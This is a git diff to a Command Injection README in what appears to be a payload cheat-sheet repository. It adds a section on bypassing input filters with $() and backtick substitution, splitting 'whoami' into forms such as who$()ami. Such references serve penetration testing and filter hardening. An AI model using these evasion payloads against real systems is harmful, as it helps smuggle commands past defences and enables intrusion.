diff --git a/Command Injection/README.md b/Command Injection/README.md index 9df048a..e98534a 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -18,6 +18,7 @@ * [Bypass with double quote](#bypass-with-double-quote) * [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass with $@](#bypass-with-) + * [Bypass with $()](#bypass-with--1) * [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass with wildcards](#bypass-with-wildcards) * [Challenge](#challenge) @@ -209,6 +210,13 @@ echo $0 echo whoami|$0 ``` +### Bypass with $() +```powershell +who$()ami +who$(echo am)i +who`echo am`i +``` + #### Bypass with variable expansion ```powershell